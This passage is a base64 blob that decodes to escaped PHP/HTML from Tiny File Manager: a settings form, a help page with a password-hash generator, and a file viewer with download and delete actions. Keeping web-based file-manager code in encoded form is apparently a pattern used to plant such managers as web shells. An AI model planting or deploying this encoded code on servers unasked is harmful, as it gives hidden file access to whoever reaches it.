gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdH